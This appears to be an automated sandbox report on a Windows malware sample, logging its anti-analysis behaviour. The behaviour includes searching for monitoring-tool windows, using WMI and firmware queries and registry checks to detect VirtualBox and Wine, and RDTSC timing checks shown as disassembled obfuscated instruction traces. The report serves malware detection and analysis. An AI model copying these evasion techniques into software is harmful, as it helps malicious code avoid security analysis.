Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: A93A4 second address: A93B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8FACDB056Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: A93B4 second address: A93C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jp 00007F8FAD4EAD56h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: A93C8 second address: A93CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: A93CE second address: A93D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: A93D2 second address: A8C6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D2AF9h], ebx 0x0000000f push dword ptr [ebp+122D13DDh] 0x00000015 mov dword ptr [ebp+122D2F79h], esi 0x0000001b call dword ptr [ebp+122D371Ch] 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D3688h], ecx 0x00000028 xor eax, eax 0x0000002a jp 00007F8FACDB0582h 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 cmc 0x00000035 mov dword ptr [ebp+122D3A51h], eax 0x0000003b add dword ptr [ebp+122D3688h], ebx 0x00000041 mov esi, 0000003Ch 0x00000046 mov dword ptr [ebp+122D3688h], eax 0x0000004c add dword ptr [ebp+122D3688h], ebx 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 jmp 00007F8FACDB056Dh 0x0000005b lodsw 0x0000005d cld 0x0000005e add dword ptr [ebp+122D2F79h], edx 0x00000064 add eax, dword ptr [esp+24h] 0x00000068 pushad 0x00000069 mov esi, 4CA6C60Eh 0x0000006e pushad 0x0000006f adc ebx, 02F17162h 0x00000075 mov dl, 76h 0x00000077 popad 0x00000078 popad 0x00000079 jmp 00007F8FACDB0570h 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jnl 00007F8FACDB056Bh 0x00000088 push eax 0x00000089 push eax 0x0000008a push edx 0x0000008b je 00007F8FACDB0577h 0x00000091 jmp 00007F8FACDB0571h 0x00000096 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217FE1 second address: 217FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217FE7 second address: 217FF6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 ja 00007F8FACDB0566h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217FF6 second address: 217FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217171 second address: 21717A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21717A second address: 217180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217480 second address: 2174A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8FACDB0579h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2174A3 second address: 2174A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2174A7 second address: 2174AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2174AB second address: 2174C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F8FAD4EAD58h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217619 second address: 21761F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21761F second address: 217625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217625 second address: 217642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0578h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 217799 second address: 21779E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21779E second address: 2177CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8FACDB0571h 0x00000012 pop esi 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2177CA second address: 2177FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FAD4EAD67h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F8FAD4EAD5Dh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 219D0F second address: 219D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 219D15 second address: 219D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 je 00007F8FAD4EAD5Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 219D25 second address: 219D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0576h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8FACDB0575h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 219D5B second address: 219D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 219D61 second address: 219D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 219E11 second address: 219E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A01A second address: 21A020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A020 second address: 21A024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A024 second address: 21A094 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jns 00007F8FACDB0579h 0x00000014 push 00000000h 0x00000016 add ecx, 2BB608DFh 0x0000001c call 00007F8FACDB0569h 0x00000021 jnl 00007F8FACDB0571h 0x00000027 push eax 0x00000028 push esi 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c jnl 00007F8FACDB0566h 0x00000032 popad 0x00000033 pop esi 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 push esi 0x00000039 push edi 0x0000003a pushad 0x0000003b popad 0x0000003c pop edi 0x0000003d pop esi 0x0000003e mov eax, dword ptr [eax] 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push edi 0x00000044 pop edi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A094 second address: 21A099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A099 second address: 21A0B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A0B2 second address: 21A0B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A0B6 second address: 21A140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnl 00007F8FACDB0566h 0x0000000d pop edi 0x0000000e popad 0x0000000f pop eax 0x00000010 mov edi, dword ptr [ebp+122D37FDh] 0x00000016 push 00000003h 0x00000018 or dword ptr [ebp+122D2F79h], ebx 0x0000001e mov esi, dword ptr [ebp+122D38C1h] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F8FACDB0568h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D379Eh], esi 0x00000046 push 00000003h 0x00000048 sub dword ptr [ebp+122D1C44h], ebx 0x0000004e push 41CA0F9Ah 0x00000053 pushad 0x00000054 pushad 0x00000055 push edx 0x00000056 pop edx 0x00000057 jnc 00007F8FACDB0566h 0x0000005d popad 0x0000005e push ecx 0x0000005f push ecx 0x00000060 pop ecx 0x00000061 pop ecx 0x00000062 popad 0x00000063 add dword ptr [esp], 7E35F066h 0x0000006a mov dword ptr [ebp+122D1D78h], ecx 0x00000070 lea ebx, dword ptr [ebp+12444C8Ah] 0x00000076 cld 0x00000077 xchg eax, ebx 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F8FACDB056Eh 0x0000007f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A140 second address: 21A14A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A14A second address: 21A16C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jne 00007F8FACDB0566h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A16C second address: 21A176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A22B second address: 21A22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A22F second address: 21A235 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A235 second address: 21A2D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0577h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F8FACDB0579h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 jmp 00007F8FACDB056Fh 0x0000001a je 00007F8FACDB0568h 0x00000020 push eax 0x00000021 pop eax 0x00000022 popad 0x00000023 pop eax 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F8FACDB0568h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e jns 00007F8FACDB056Bh 0x00000044 push 00000003h 0x00000046 mov dword ptr [ebp+122D2E2Dh], esi 0x0000004c clc 0x0000004d push 00000000h 0x0000004f push 00000003h 0x00000051 mov edi, ecx 0x00000053 push BAC6FB64h 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d pop eax 0x0000005e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A2D3 second address: 21A2D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A2D7 second address: 21A2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 21A2DD second address: 21A321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8FAD4EAD56h 0x00000009 jnp 00007F8FAD4EAD56h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 7AC6FB64h 0x00000019 add ecx, dword ptr [ebp+122D39E9h] 0x0000001f lea ebx, dword ptr [ebp+12444C95h] 0x00000025 mov edx, dword ptr [ebp+122D38BDh] 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jmp 00007F8FAD4EAD62h 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 22D332 second address: 22D340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 22D340 second address: 22D34B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F8FAD4EAD56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23BA8C second address: 23BA92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23BA92 second address: 23BA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23BA98 second address: 23BA9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 203BFB second address: 203C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 203C03 second address: 203C1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8FACDB056Ch 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 239AFD second address: 239B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 239B02 second address: 239B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 239B08 second address: 239B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 239C60 second address: 239C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 239C64 second address: 239C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23A0A0 second address: 23A0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8FACDB0566h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23A7B2 second address: 23A7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23AA72 second address: 23AAA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0574h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F8FACDB057Bh 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 208BE9 second address: 208BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8FAD4EAD56h 0x0000000a jc 00007F8FAD4EAD56h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 208BFE second address: 208C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 208C04 second address: 208C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23B223 second address: 23B227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23B227 second address: 23B231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23B231 second address: 23B235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23B656 second address: 23B668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F8FAD4EAD5Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 23B902 second address: 23B93B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F8FACDB0568h 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F8FACDB0572h 0x00000015 jne 00007F8FACDB0566h 0x0000001b jnc 00007F8FACDB0566h 0x00000021 pushad 0x00000022 push eax 0x00000023 pop eax 0x00000024 jmp 00007F8FACDB056Eh 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240CD4 second address: 240CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 240CDE second address: 240D08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8FACDB0571h 0x00000016 rdtsc
